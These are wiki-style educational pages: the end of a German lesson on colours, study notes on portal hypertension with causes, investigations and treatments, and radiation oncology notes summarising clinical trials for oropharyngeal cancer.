{| class=&quot;wikitable&quot;
! Person
! Singular
! Plural
|-
! 1st
| trage
| tragen
|-
! 2nd
| trägst
| tragt
|-
! 3rd
| trägt
| tragen
|}

== Colors ==
[[File:Airplane (96403653).jpeg|thumb|Der Himmel ist blau.]]
[[File:Yellow flower in the sun - Flickr - Swami Stream.jpg|thumb|Die Blume ist gelb.]]
[[File:Bloem van een Camellia × williamsii 'Roger Hall'. 20-04-2021 (actm.) 01.jpg|thumb|Die Rose ist rot.]]
Colors are also another great way to describe clothes, like &quot;''Das rote Hemd passt gut'',&quot; which means &quot;The red shirt fits well.&quot; Read the following paragraph; try to find the words described to have a color.
 ''Wir fahren in den Schwarzwald. Ich habe ein grünes Hemd getragen. Die Reise war lang. Es begann, kälter zu werden und abzukühlen. Ich hörte Musik auf meinem braunen iPod. Ich bin schließlich eingeschlafen. Als ich aufwachte, sah ich den blauen Himmel und den weißen Schnee.'' 

If you found 5 words you are right.
* '''Schwarz: black (the Schwarzwald (Black Forest) is a wooded mountain range)'''
* '''Grünes Hemd: a green shirt'''
* '''Brauner iPod: a brown iPod'''
* '''Blauer Himmel: blue sky'''
* '''Weißer Schnee: white snow'''

And now for the actual colors...
{| {{German table|Vocabulary|Basic Colors|Die Grundfarben|0|2}}
|-
!English||German
|-
|red||rot
|-
|orange||orange
|-
|yellow||gelb
|-
|green||grün
|-
|blue||blau
|-
|indigo||indigo
|-
|violet||violett
|-
|white||weiß
|-
|gray||grau
|-
|black||schwarz
|-
|brown||braun
|}

&lt;big&gt;[[/Problems#Colors|Section Problems]] &gt;&gt;&lt;/big&gt;

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      <text bytes="8739" sha1="69dmbdfr75u20dvu5fbwblse6tbgqlo" xml:space="preserve">== PORTAL HYPERTENSION ==
=== Definition: ===
&lt;ul&gt;
  &lt;li&gt;Increase in portal vein pressure above the normal level of 5 to 10 mmHG.&lt;/li&gt;
  &lt;li&gt;When the resting portal venous pressure is above 10 mmHg.&lt;/li&gt;
  &lt;li&gt;Most commonly due to obstruction:&lt;ul&gt;
    &lt;li&gt;Somewhere in the portal vein or its tributaries (Prehepatic).&lt;/li&gt;
    &lt;li&gt;In the portal venules and sinusoides in the liver (Hepatic).&lt;/li&gt;
    &lt;li&gt;In the Hepatic veins draining into the inferior vena cava (Post 
    Hepatic).&lt;/li&gt;
  &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Increased blood pressure in portal veins cause oesophageal varices.&lt;/li&gt;
  &lt;li&gt;Commonly Liver diseases and thrombosis in the vein causes portal 
  hypertension and due to it occurs massive recurrent hematemesis and melaena.&lt;/li&gt;
&lt;/ul&gt;

===Causes:===

&lt;big&gt;Most common:&lt;/big&gt;
==== Prehepatic: ====
*Congenital absence or abnormality of the portal vein.
*Thrombosis of the portal vein. 
*Obstruction of the Portal vein.
====IntraHepatic====
*Cirrhosis.
*Schistosomiasis.
====PostHepatic====
*Constrictive pericarditis.
*Tricuspid valvular incompetence.

====Other detail causes: ====
*Extrahepatic obstruction of portal vein and its tributaries
**Congenital absence or abnormality of portal vein
**Portal vein thrombosis *
***Idiopathic
***Umbilical and portal sepsis
***Malignancy
***Pancreatitis
***Hypercoagulable states
**Splenic vein thrombosis
*Hepatic venous outflow obstruction (Postsinusoidal)
**Suprahepatic
***Budd-Chiari syndrome *
***Constrictive pericarditis
***Right heart failure
***Smaller hepatic veins and venules
**Veno-occlusive disease *
**Sclerosing hyaline necrosis
*Hepatic causes
**Presinusoidal 
***Schistosomiasis *
***       Idiopathic portal hypertension
***       Primary biliray cirrhosis
***       Sarcoid
***       Myeloproliferative disease
***       Fibropolycystic disease
**   Sinusoidal
***       Cirrhosis *
***       Chronic active hepatitis *
***    Alcoholic hepatitis and Fatty liver *
*Increased hepatic blood flow (rare causes)
**       Tropical splenomegaly syndrome
**       Hematological and other conditions with massive splenomegaly
**       Hepato-portal arteriovenous fistula

===Pathogenesis:===
&lt;ul&gt;
  &lt;li&gt;The portal venous system lacks valves and hence resistance at any level 
  between the right side of heart and splanchnic vessels results in retrograde 
  transmission elevated pressure.&lt;/li&gt;
  &lt;li&gt;Increased resistance can occur at 3 levels&lt;/li&gt;
&lt;/ul&gt;

&lt;ul&gt;
&lt;li&gt;
====Presinusoidal====
    &lt;ul&gt;
    &lt;li&gt;anatomically outside the liver but at a functional level proximal to the 
    hepatic sinusoids&lt;/li&gt;
  &lt;/ul&gt;
  &lt;/li&gt;
&lt;li&gt;
====Sinusoidal====
  &lt;ul&gt;
    &lt;li&gt;Occurring within the liver parenchyma, e.g. Cirrhosis&lt;/li&gt;
  &lt;/ul&gt;
  &lt;/li&gt;
&lt;li&gt;
====Postsinusoidal====
  &lt;ul&gt;
    &lt;li&gt;Occurring outside the liver at the level of the hepatic veins&lt;/li&gt;
  &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;u&gt;NB&lt;/u&gt;! &lt;br&gt;
Cirrhosis is the most common cause of portal hypertension.&lt;br&gt;
Portal vein obstruction the 2nd most common cause. &lt;br&gt;
Presinusoidal portal obstruction accounts for nearly 20% of all cases and they 
are nearly always young and often a child.&lt;br&gt;
&amp;nbsp;&lt;/p&gt;

===Clinical features:===
Some Commonest features:

====ABCDE====
* A: Ascites.
* B: Bleeding (hematemesis, piles).
* C: Caput medusae.
* D: Diminished liver.
* E: Enlarged spleen.

Major clinical manifestations include
*       Bleeding from gastroesophageal varices
*     Splenomegaly with hypersplenism 
*    Ascites
*   Acute and chronic hepatic encephalopathy 

All these features are related, at least in part, to the development of portal-systemic collateral channels.

===Investigations:===

====Blood examination:====
=====Anemia. =====
*Usually MicroCytic Hypochromic.
*(Almost inevitable in Portal Hypertension)
=====Leukopenia and Thrombocytopenia: =====
*Due to splenomegaly and hypersplenism of hypertension
=====Coagulation defect:=====
*Due to thrombocytopenia and impaired synthesis of coagulation factors by damaged liver (Factor V, VII and X).
=====Liver function test:=====
*LFT tests may be entirely normal in the presence of established cirrhosis.
====Endoscopy: ====
*Upper gastrointestinal endoscopy is the mostly reliable technique.
*It shows the oesophageal varix and bleeding point.
**Oesophageal varix are seen as dilated longitudinal zigzag running.
*Excludes peptic ulcer  as a source of bleeding in a patient with documented varices
====Radiology:====
*Upper gastrointestinal Barium:
**It can  demonstrate oesophageal varices as filling defect in lower end of the oesophagus.
**Not very accurate in the diagnosis of gastric varices but can detect Peptic ulcers disease.
**Can be used when endoscopy is not available.
==== Liver Angiography:====
=====Two main advantages:=====
*Measurement of Portal pressure.
*Visualization of abnormal venous anatomy in case of portal hypertension.

NB! Anemia, Leukopenia and Thrombocytopenia may also occur due to bone marrow depression occurred in Alcoholic cirrhotic

===Diagnosis:===
*H/o liver disease and other clinical features of portal hypertension – in maximum number of cases
*Rarely – portal venous pressure is measured by
**Percutaneous transhepatic skinny needle catheterization
**Transjugular cannulation of hepatic vein
**Both free and wedged hepatic venous pressure should be measured 
**WHVP will be raised in Sinusoidal and Postsinusoidal portal hypertension while it will be normal in Presinusoidal Postal hypertension
**Rarely – Mesenteric and hepatic angiography may be necessary


== Management ==
#Resuscitation.
#Diagnosis.
#Specific treatment.
#Treatment of Complications.
&lt;br&gt;
=== Resuscitation of the patient. ===
Same as Upper G.I tract bleeding.
* NB!
**In Coagulation abnormalities: Fresh frozen plasma and platelets.
***Avoid Saline.
*Regular Vitals recording with Input/Output charting.
*Careful with giving sedation in hepatic cases:
**e.g. Valium I.V
**e.g.Librium in Alcohol withdrawals.
*Purgatives and enema.
**Reducing Ammonia before Encephalopathy - good choice.
*Gastric acid secretion should be decreased.
**e.g. Cimetidine.
*If Ascites:
**Strict low-salt diet.
**Spirolactone.
**Paracentasis.
=== Diagnosis:===
* Endoscopy is the main diagnostic tool.
**Before endoscopy Lavage through Ewaled tube is good if too much bleeding.
**Peptic Ulcer bleeding should be excluded.
***NB!
****Bleeding due to gastritis in patients with portal hypertension should be managed as variceal bleeding.
=== Specific Treatment: ===
==== Vasopressin (Pitressin): ====
Controls variceal bleeding by splanchnic vasoconstriction.
*In acute bleeding:
**20 units in 100ml of 5% Dextrose I.V over 20 minutes.
**Followed by  a continuous infusion of 0.4 unit/minute.
===== Side effects: =====
*Cramping pain Abdomen.
*Myocardial Ischemia.
*Raynaud's syndrome.
====Non-Selective Beta-Blockers:====
*e.g. Propranolol.
**Prevents recurrent bleeding.
*NB!
**Non-Selective Beta-Blockers should not be used in decompensated liver disease, and if variceal bleeding occurs during treatment, the failure to mount a sympathetic nervous system response to blood volume loss may precipitate rapid circulatory collapse.
==== Endoscopic Variceal Sclerosis: ====
Revolution in variceal hemorrhage by decreasing mortality rate.
===== In acute bleeding: =====
**Intravariceal injection is preferred.
***e.g. 2.5% sodium morrhuate followed by ethanolamine oleate.
&lt;u&gt;&lt;b&gt;NB&lt;/b&gt;&lt;/u&gt;!
=====Complication:=====
*Retrosternal Chest pain  due to phlebitis.
*Local microperforation. Major perforation is rare.
*Pulmonary effusion with fever.
====Balloon temponade: ====
Temporary method to control bleeding.
*Should be used for Short time as possible.
*&lt;u&gt;&lt;b&gt;NB&lt;/b&gt;&lt;/u&gt;!
*Oesophageal balloon should be inflated to 45mmHG if the gastric balloon does not control bleeding.
*In good risk patient: Avoiding it will be a good choice and urgent shunt operation will be a good choice.
=====Complications: =====
*Aspiration is common.
*Can produce more bleeding  by sustained pressure on ulceration of gastric and oesophageal mucosa.
*Oesophageal rupture is rare but if occurs it is FATAL.
*Transhepatic Visceral Embolisation:
**It is a temporary step in poor risk patients who continues to bleed following Pitressin therapy, sclerotherapy and tamponade.
**It Occludes the feeding vessels.
**It Causes thrombosis within oesophageal varices.
===Treatment of complication:===
*Shock:
**Barbiturates.
**Fresh blood transfusion.
*Clotting problem:
**Vitamin K.
**Fresh blood transfusion.
====Encephalopathy:====
*Continuous gastric lavage.
*Magnesium sulphate and neomycin (500mg STAT then 2 hourly) through Sangstaken tube.
*High bowel wash.
====Liver failure:====
*Plenty of Carbohydrate Per OS.
*Low Fat diet.

====Ascites:====
*Strict Low salt diet
*Diuretics.

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      <text bytes="28854" sha1="0azue5sbdnj2ly8cw0etfxbn50vij2x" xml:space="preserve">{{Radiation Oncology:TOC}}

==Anatomy==
*Superior edge - plane of superior surface of the soft palate
*Inferior edge - superior surface of hyoid bone / floor of the vallecula
*Includes base of tongue, inferior (anterior) surface of the soft palate, uvula, anterior and posterior tonsillar pillars, glossotonsillar sulci, pharyngeal tonsils, and lateral and posterior pharyngeal walls

==Risk Factors==
*Smoking
*Alcohol
*EGFR amplification
*HPV 16
*chronic irritation

===HPV infection as a risk factor===

*'''RTOG 0129; 2010''' {{PMID|20530316}} -- &quot;Human Papilloma Virus and Survival of Patients with Oropharyngeal Cancer.&quot;  Ang KK, N Engl J Med. 2010; 363, 24-35
**Post-hoc analysis.  Randomized trial of standard fractionation vs accelerated fractionation and concurrent cisplatin. 317 of 433 patients with oropharyngeal CA, who had HPV status. HPV positive 83%. Median F/U 4.4 years
**Outcome: 
**Risk Stratification:  
**Conclusion:  HPV status strongly associated with survival.  Smoking increases risk of death, even in HPV+ population.  Risk stratification possible (High/Intermediate/Low)

*'''RTOG 0129; 2009''' [http://www.asco.org/ASCOv2/Meetings/Abstracts?&amp;vmview=abst_detail_view&amp;confID=65&amp;abstractID=31969 ASCO Abstract] -- &quot;Survival outcomes by tumor human papillomavirus (HPV) status in stage III-IV oropharyngeal cancer (OPC) in RTOG 0129.&quot; (Gillison ML, J Clin Oncol 27:15s, 2009 (suppl; abstr 6003))
**Post-hoc analysis. Randomized trial of standard fractionation vs accelerated fractionation and concurrent cisplatin. 317 of 433 patients with oropharyngeal CA, who had HPV status. HPV positive 83%. Median F/U 4.4 years
**Outcome: 2-year OS HPV+ 87% vs. HPV- 67% (HR 0.54, SS); PFS 72% vs. 51% (SS). Hazard rate for death if HPV-/tobacco+ 4.3 vs. HPV-/tobacco- 2.4 vs HPV+/tobacco+ 1.8 vs HPV+/tobacco- 1.0
**Conclusion: HPV status strongly associated with survival

*'''Johns Hopkins, 2007''' {{PMID|17494927}} -- &quot;Case-control study of human papillomavirus and oropharyngeal cancer.&quot;  D'Souza G et al.  N Engl J Med. 2007; 356(19):1944-56
**Case control study of 100 pts w/ newly diagnosed oropharyngeal CA and 200 control pts.
**Oropharyngeal CA significantly associated w/ HPV type 16 and high lifetime number of oral sex partners (&gt;6) and high lifetime number of vaginal sex partners (&gt;26).  
**Smoking/alcohol w/ increased association with oropharyngeal CA among subjects w/o HPV-16 exposure.

===HPV and EGFR Interaction===
*'''Sydney Cancer Centre; 2010''' (1987-2006) {{PMID|20537890}} -- &quot;Relationships between epidermal growth factor receptor expression and human papillomavirus status as markers of prognosis in oropharyngeal cancer.&quot; (Hong A, Eur J Cancer. 2010 May 25. [Epub ahead of print])
**Retrospective. 270 oropharynx SCC reviewed, HPV E6 by PCR and increased p16 by IHC, EGFR by IHC. HPV+ 37%; EGFR+ 87%. Significant inverse relationship between HPV and EGFR (if HPV- then EGFR+ 93%, if HPV+ then EGFR+ 78% (SS)). Median F/U 2.5 years
**Outcome: Adjusted hazard rate for LRF and OS 0.3 if HPV+ compared with HPV-. Adjusted hazard rate for LRF 5.1 and OS 2.5 if EGFR+ compared with EGFR-. If both HPV- and EGFR+, adjusted HR 13x risk for LRF and 4x risk for OS compared with HPV+/EGFR-
**Conclusion: HPV and EGFR are independent prognostic markers; combination of HPV- and EGFR+ significantly worse prognosis

==Staging==
'''AJCC 7th Edition (2009)'''
&lt;br&gt;'''''Tumor'''''
*T1 - &lt;= 2 cm
*T2 - &gt;2 and &lt;=4 cm
*T3 - &gt;4 cm or extension to lingual surface of epiglottis
*T4a - invades larynx, deep/extrinsic muscles of the tongue, medial pterygoid, hard palate, or mandible
*:Note: extrinsic muscles of the tongue are: genioglossus, hyoglossus, styloglossus, and palatoglossus
*T4b - invades lateral pterygoid, pterygoid plates, lateral nasopharynx, skull base, or encases carotid


'''''Nodes''''' (same as for most H&amp;N sites){{:Radiation Oncology/Head &amp; Neck/Node staging}}

'''''Metastasis'''''
*M0 - none
*M1 - yes

'''''Stage Grouping'''''
{{Radiation Oncology/Head &amp; Neck/Stage grouping}}

'''Changes from 6th edition:'''
&lt;br&gt;Added invasion of lingual surface of epiglottis (T3)

===Older staging systems===
'''AJCC 6th Edition (2002)'''
&lt;br&gt;'''''Tumor'''''
*T1 - &lt;= 2 cm
*T2 - &gt;2 and &lt;=4 cm
*T3 - &gt;4 cm
*T4a - invades larynx, deep/extrinsic muscles of the tongue, medial pterygoid, hard palate, or mandible
*T4b - invades lateral pterygoid, pterygoid plates, lateral nasopharynx, skull base, or encases carotid


'''''Nodes''''' (same as for most H&amp;N sites){{:Radiation Oncology/Head &amp; Neck/Node staging}}

'''''Metastasis'''''
*M0 - none
*M1 - yes

'''''Stage Grouping'''''
*Stage I - T1N0
*Stage II - T2N0
*Stage III - T3N0, T1-3N1
*Stage IVA - T4a or N2
*Stage IVB - T4b or N3
*Stage IVC - M1

==Risk of LN Involvement==
*'''Johns Hopkins; 2009''' (1998-2007) {{PMID|19131181}} -- &quot;Defining the risk of involvement for each neck nodal level in patients with early T-stage node-positive oropharyngeal carcinoma.&quot; (Sanguineti G, Int J Radiat Oncol Biol Phys. 2009 Aug 1;74(5):1356-64. Epub 2009 Jan 7.)
**Retrospective. 103 patients with T1-T2 clinically N+ oropharyngeal CA, who underwent neck dissection (radical LND 15%, modified radical LND 71%, selective LND 14%). 
**Outcome: Positive Level IB 9%, Level II 91%, Level III 41%, Level IV 18%, and Level V 3%. If CT (-), then positive Level IB 3%, Level II 76%, Level III 17%, Level IV 6%, and Level V 1%. Can contour Level IB only posterior half
**Conclusion: Levels II and III should be included in high risk volumes regardless of imaging, Level IV should be low risk; Levels IB and V at very low risk and could be excluded from RT

==Early Stage==
*'''RTOG 00-22''' (2001-2005) [http://www.rtog.org/members/protocols/h0022/h0022.pdf Protocol (PDF)]  
**Prospective. 69 patients. Stage I-III (T1-2 N0-1) oropharynx (tonsil, base of tongue, or palate). Neck staging is based on palpation, not CT, but patients who are &quot;upstaged&quot; by CT are eligible. RT 66 Gy / 30 fractions (2.2 Gy/fx) to primary target PTV and 54-60 Gy / 30 fractions (1.8-2.0 Gy/fx) to secondary target PTV. No chemotherapy. Objectives: 1) assess feasibility of target coverage and parotid sparing. 2) Determine patterns of failure. 3) Acute and late effects. Median F/U 2.8 years. 
**'''2009''' {{PMID|19540060}} -- &quot;Multi-Institutional Trial of Accelerated Hypofractionated Intensity-Modulated Radiation Therapy for Early-Stage Oropharyngeal Cancer (RTOG 00-22).&quot; (Eisbruch A, Int J Radiat Oncol Biol Phys. 2010 Apr;76(5):1333-8. Epub on 2009 Jun 17.)
***Outcome: 2-year LRF 9% (if major deviations 50%, else 6%, SS)
***Toxicity: Grade 2+ skin 12%, mucosa 24%, salivary 67%, esophagus 19%, ORN 6%. Xerostomia 6 months 55%, 1 years 25%, 2 years 16%; salivary output didn't recover over time
***Conclusion: Moderately AHFX IMRT alone feasible

==Surgery vs RT==
*'''ORATOR Trial''' (2012-2019)
**Randomized. 68 patients, T1-T2 N0-N2 (&lt;4 cm). OPSCC. Arm 1) RT 70/35 +/- cisplatin or cetuximab if N+ vs Arm 2) transoral robotic surgery (TORS) + nodal dissection (29%), with adjuvant RT 60/30 (47%) or adjuvant chemo-RT 64/32 (24%) based on risk. Primary end-point swallowing QOL at 1 year
**'''4 years; 2022''' -- &quot;Randomized Trial of Radiotherapy Versus Transoral Robotic Surgery for Oropharyngeal Squamous Cell Carcinoma: Long-Term Results of the ORATOR Trial&quot; (Nichols AC, J Clin Oncol. 2022 Mar 10;40(8):866-875.doi: 10.1200/JCO.21.01961. Epub 2022 Jan 7.). Median F/U 3.7 years
***Outcome: 3-year dysphagia QOL RT 89 vs TORS 83 (NS). However, on linear mixed-effects analysis, RT superior (p=0.049). 3-year OS 87% vs 88% (NS). 3-year PFS 87% vs 85% (NS)
***Toxicity: Grade 2+ RT 91% vs TORS 97% (NS)
***Conclusion: Swallowing QOL RT slightly superior, but difference decreases over time. Oncologic outcomes same. Should counsel about pros and cons

==Pre-op RT vs. Post-op RT==
*'''RTOG 73-03''' (1973-1979)
**Randomized. 320 patients. Operable stage T2-T4 any N (but not fixed); oral cavity, oropharynx, supraglottic larynx, hypopharynx, or maxillary sinus. Arm 1) Pre-op RT 50 Gy vs. Arm 2) Post-op RT 60 Gy. In addition, OC and OP lesions may be randomized Arm 3) definitive RT 65-70 Gy, with surgery reserved for salvage (n=43). 
**'''10-years; 1999''' {{PMID|1993628}} &amp;mdash; &quot;Randomized study of preoperative versus postoperative radiation therapy in advanced head and neck carcinoma: long-term follow-up of RTOG study 73-03.&quot; (Tupchong L et al. Int J Radiat Oncol Biol Phys. 1991 Jan;20(1):21-8.)
***Only pre-op vs. post-op subset (n=277). Oral cavity (14%), &lt;u&gt;oropharynx (17%)&lt;/u&gt;, hypopharynx (43%), supraglottic larynx (26%) 
***Outcome: LRC pre-op 58% vs. post-op 70% (SS), &lt;2 years no difference (failures 59% vs. 58%), but marked &gt;2 years (failures 27% vs 8%); OS no difference due to late (&gt;2 years) deaths from DM and from second primaries
***Supraglottic larynx: LRC pre-op 53% vs. post-op 77% (SS); 78% failures &lt;2 years
***Toxicity: no difference
***Conclusion: Post-op RT better for LRC (especially in SGL), but no impact on OS due to distant failure and second primaries
**Comment: some argument for definitive chemoRT instead of surgery and post-op RT since after 2 yrs, distant mets are primary cause of failure resulting in similar 10 OS in this trial. LRC still better for post-op vs definitive RT alone. Also, different doses used, at the time believed equivalent given the setting

==Surgery + RT vs. Chemo-RT==
*'''Singapore''' (1996-2000) 
**Randomized. ''Stopped early due to slow accrual.'' 199 patients, resectable Stage III/IV SCHNC excluding NPC and salivary glands (larynx 32% (supraglottis 23%), oral cavity 27%, &lt;u&gt;oropharynx 21%&lt;/u&gt;, hypopharynx 12%). T4 56%. Arm 1) surgery + adjuvant RT 60/30 vs. Arm 2) RT 66/33 + concurrent cisplatin 20 mg/m2/d + 5-FU 1000 mg/m2/d both given as continuous IV over 96 hours x2 cycles. 90% received at least 1 cycle of chemo 
**'''2005''' {{PMID|16012523}} -- &quot;Surgery and adjuvant radiotherapy vs concurrent chemoradiotherapy in stage III/IV nonmetastatic squamous cell head and neck cancer: a randomised comparison.&quot; (Soo KC, Br J Cancer. 2005 Aug 8;93(3):279-86.) Median F/U 6 years 
***Outcome: 3-year DFS: S+RT 50% vs. chemo-RT 40% (NS). Organ preservation (larynx/hypopharynx 68%, &lt;u&gt;oropharynx 55%&lt;/u&gt;, oral cavity 21%). Chemo-RT group had poor surgical salvage of 47%, with no long-term survivors (possibly due to larger proportion of T4 and oral cavity cancers) 
***Conclusion: Chemo-RT not superior to surgery+RT, but can be attempted for organ preservation in larynx, hypopharynx, and oropharynx; organ preservation in oral cavity poor

==Induction Chemo-RT vs. Primary RT alone==
*'''RTOG 68-01''' -- methotrexate
**Randomized. 638 patients, Stage III-IV oral cavity (23%), &lt;u&gt;oropharynx (55%)&lt;/u&gt;, supraglottic larynx (12%), hypopharynx (10%). Arm 1) RT alone vs. Arm 2) IV MTX 25 mg q3d x5 followed by RT. RT 55-80 Gy
**'''1980''' {{PMID|7410127}} -- &quot;Adjuvant intravenous methotrexate or definitive radiotherapy alone for advanced squamous cancers of the oral cavity, oropharynx, supraglottic larynx or hypopharynx.&quot; (Fazekas JT, Int J Radiat Oncol Biol Phys. 1980 May;6(5):533-41.)
***Outcome: median OS RT vs. MTX-RT: oral cavity 11.8 mo vs. 12.4 mo, &lt;u&gt;oropharynx 13.6 mo vs. 13.1 mo&lt;/u&gt;, SGL 17.2 mo vs. 19.2 mo, hypopharynx 9.7 mo vs. 13.4 mo
***Conclusion: Minimal gain, induction methotrexate should not be used

==Altered Fractionation==
*'''RTOG 90-03''' (1991-1997) -- SF vs HF vs Split course AFX vs AFX-CB
**Randomized, 4 arms. 1073 patients. Stage III-IV (oral cavity, oropharynx, or supraglottic larynx) or Stage II-IV (base of tongue, hypopharynx). Arm 1) SF standard fractionation 70/35 @ 2 Gy/fx vs. Arm 2) HF hyperfractionated 81.6/68 @ 1.2 Gy BID vs. Arm 3) AFX-S split course accelerated fractionation 67.2/42 @ 1.6 Gy BID with 2 week break after 38.4 Gy vs. Arm 4) AFX-CB concomitant boost 72 Gy given 54/30 @ 1.8 Gy + 18/12 @ 1.5 Gy concurrent BID boost
**'''2-years; 2000''' {{PMID|10924966}} -- &quot;A Radiation Therapy Oncology Group (RTOG) phase III randomized study to compare hyperfractionation and two variants of accelerated fractionation to standard fractionation radiotherapy for head and neck squamous cell carcinomas: first report of RTOG 9003.&quot; (Fu KK, Int J Radiat Oncol Biol Phys. 2000 Aug 1;48(1):7-16.). Median F/U 2 years, 3.4 for alive patients
***Outcome: 2-year LRC SF 46% vs. HF 54% (SS) vs. AFX-S 47% (NS) vs. AFX-CB 54% (SS); DFS 32% vs. 38% (NS) vs. 33% (NS) vs. 39% (NS); OS 46% vs. 54% (NS) vs. 46% (NS) vs. 51% (NS)
***Sites of failure: LF 44% vs. 38% vs. 43% vs. 37%; RF 32% vs. 27% vs. 31% vs. 33%
***Toxicity: Increased acute effects but no increase in late effects
***Conclusion: HF or CB improve LRC compared to SF, no impact on DFS and OS. Split course comparable to SF

*'''RTOG 71-01''' (1971-1976) -- continuous vs. split-course
**'''1993''' {{PMID|8213620}} -- &quot;&quot;Compensated&quot; split-course versus continuous radiation therapy of carcinoma of the tonsillar fossa. Final results of a prospective randomized clinical trial of the Radiation Therapy Oncology Group.&quot; (Marcial VA, Am J Clin Oncol. 1993 Oct;16(5):389-96.)
***Randomized. 137 patients. All stages, no adenoCA. Arm 1) split course RT 30/10 + 30/10 vs. Arm 2) continuous RT 60/30-66/33
***Outcome: 5-year LRC split course 25% vs. continuous 28% (NS); 5-year OS 19% vs. 29% (NS)
***Late toxicity: split course 17% vs. continuous 24% (NS)
***Conclusion: No difference

*'''EORTC 22791'''
**See [[Radiation Oncology/Head &amp; Neck/General#Hyperfractionation|Radiation Oncology:H&amp;N]]
**Improved LC for T3 but not T2 tumors. Trend to improved OS.

==Radiation + Concurrent Chemo Options==
*'''RTOG 1016''' (2011 - 2014) - RT 70 Gy + cisplatin vs cetuximab
**Randomized. Multicenter, non-inferiority. 849 patients. HPV+ oropharyngeal carcinoma. Arm 1) RT + cetuximab (400 mg/m2 loading + 250 mg/m2 weekly) vs Arm 2) RT + cisplatin (100 mg/m2 Q3 weeks x2). RT given 70/35 accelerated over 6 weeks at 6 fractions per week.
**'''5 years''' {{PMID|30449625}} -- &quot;Radiotherapy plus cetuximab or cisplatin in human papillomavirus-positive oropharyngeal cancer (NRG Oncology RTOG 1016): a randomised, multicentre, non-inferiority trial.&quot; Gillison ML, Lancet. 2019 Jan 5;393(10166):40-50. doi: 10.1016/S0140-6736(18)32779-X. Epub 2018 Nov 15.) Median F/U 4.5 years
***Outcome: 5-year OS cetuximab 78% vs cisplatin 85% (SS). PFS 67% vs 78% (SS). LR failure 17% vs 10% (SS).
***Toxicity: Moderate/severe toxicity similar, though events per patient lower in cetuximab arm
***Conclusion: For HPV+ patients, RT + cetuximab is worse in terms of survival, PFS, and local control. RT + cisplatin is the standard

*'''De-ESCALaTE HPV''' (2012 - 2016) - RT 70 Gy + cisplatin vs cetuximab
**Randomized. Multiinstitutional. 334 patients. HPV+ oropharyngeal cancer, nonsmoker or &lt;10 pack years. Arm 1) RT + cetuximab (400 mg/m2 loading, 250 mg/m2 weekly) vs Arm 2) RT + cisplatin (100 mg/m2 Q3 weeks x3) vs  RT given as 70/35 in 7 weeks. Primary outcome lower toxicity with cetuximab
**'''5 years''' {{PMID|30449623}} -- &quot;Radiotherapy plus cisplatin or cetuximab in low-risk human papillomavirus-positive oropharyngeal cancer (De-ESCALaTE HPV): an open-label randomised controlled phase 3 trial.&quot; (Mehanna H, Lancet. 2019 Jan 5;393(10166):51-60. doi: 10.1016/S0140-6736(18)32752-1. Epub 2018 Nov 15.)
***Outcome: 2-year OS cetuximab 89% vs cisplatin 97% (SS); LR 16% vs 6% (SS)
***Toxicity: No difference 
***Conclusion: Cetuximab showed no reduction in toxicity, but worse tumor control. RT + cisplatin should be standard of care

==Base of Tongue==
*Clinical presentation
**Mild sore throat
**Many clinically silent locally, and present with neck mass
**With further enlargement, difficulty swallowing, nasal or &quot;hot potato&quot; voice quality, and ear pain
*Spread
**BOT proper: tend to stay confined to tongue for long time. Advanced lesions spread toward larynx, oral tongue, and parapharyngeal space
**Valecula: spread along mucosal surface to epiglottis and lateral pharyngeal wall. Can penetrate hyoepiglottic ligament into pre-epiglottic space
**Lateral BOT: spread into glossotonsillar sulcus, and then into neck
*LN drainage
**LN+ in 50-80%
**Bilateral LN+ in 35-55%
**If clinical ipsilateral N0, pN+ 20-30%
*Treatment overview
**Surgery and RT produce comparable outcomes; however, BOT excision generally causes greater disability
**Surgical approaches
***Small volume T1-T2 can consider transoral laser excision with neck dissection
***Approaches through the mandible can be via midline split or via horizontal split
***Suprahyoid, transhyoid, and infrahyoid approaches can also be used
***Removal of large tumors may require laryngectomy
**If N0, consider treating bilateral neck to Levels II-IV. If N+, consider treating bilateral neck to Levels I-V
*Outcome: local control for RT varies with stage, from &gt;95% for T1 to ~50% for T4 (see {{PMID|16462500}})


===Definitive RT===
*'''University of Florida; 2006''' (1964-2003) {{PMID|16462500}} -- &quot;Definitive radiotherapy for squamous cell carcinoma of the base of tongue.&quot; (Mendenhall WM, Am J Clin Oncol. 2006 Feb;29(1):32-9.)
**Retrospective. 333 patients with BOT, treated with definitive RT. Daily (25%, median dose 70 Gy) or twice daily (75%, median dose 76.8 Gy or concomitant boost 72 Gy) fractionation. IMRT for last 3 year in N0 or ipsilateral N+. Adjuvant chemo (more recently) in 18%. Median F/U 6.6 years
**Outcome: 5-year LC T1 98%, T2 92%, T3 82%, T4 53%. 5-year LRC Stage I-II 100%, III 82%, IVa 87%, IVb 58%. 5-year CSS by Stage 91%, 77%, 84%, 45%. 5-year OS by Stage 67%, 66%, 67%, 33%
**Toxicity: Severe complications 16%
**Conclusion: LRC and survival after RT comparable to surgery; morbidity less

===Concurrent Chemotherapy===
*'''MD Anderson; 2004''' - {{PMID|15022283}} (1975-98) &amp;mdash; &quot;Is concurrent chemoradiation the treatment of choice for all patients with Stage III or IV head and neck carcinoma?&quot; Garden AS et al.  Cancer. 2004 Mar 15;100(6):1171-8.
**Retrospective. 299 pts with small tumors (T1-T2) of oropharynx that are Stage III-IV based on N-stage. Treated with RT alone.
**Median f/u 82 mo. 5-yr LRF, DM, OS were 15%, 19%, and 64%. LRC was 95% for T1 vs 79% for T2. 
**Conclusion: Excellent local control for small T-stage tumors of the oropharynx. Chemoradiotherapy would not significantly benefit these pts.

===Interstitial Brachytherapy===
*'''Mass General Hospital, 2005''' - {{PMID|15726587}} (1983-00) -- &quot;Definitive radiotherapy with interstitial implant boost for squamous cell carcinoma of the tongue base.&quot;  Karakoyun-Celik O et al.  Head Neck. 2005 May;27(5):353-61.
**40 pts w/ primary or recurrent SCC of BOT who received interstitial brachy as part of initial management.  54% had T3/T4 dz.
**Oropharynx, b/l necks, SC comprehensively irradiated w/ BOT receiving median of 61 Gy via EBRT.  Median implant dose 17.4 Gy (adjusted to reach dose to tumor of 80 Gy).
**5 yr OS 62%, 10 yr OS 27%.
**Local control 78% at 5 yrs, 70% at 10 yrs.  78% organ preservation rate.
**2 pts w/ grade 3 osteonecrosis (5%)

*'''William Beaumont, 1996''' - {{PMID|8780531}} (1986-1995) -- &quot;Excellent functional outcome in patients with squamous cell carcinoma of the base of tongue treated with external irradiation and interstitial iodine 125 boost.&quot;  Horwitz EM et al.  Cancer. 1996 Sep 1;78(5):948-57.
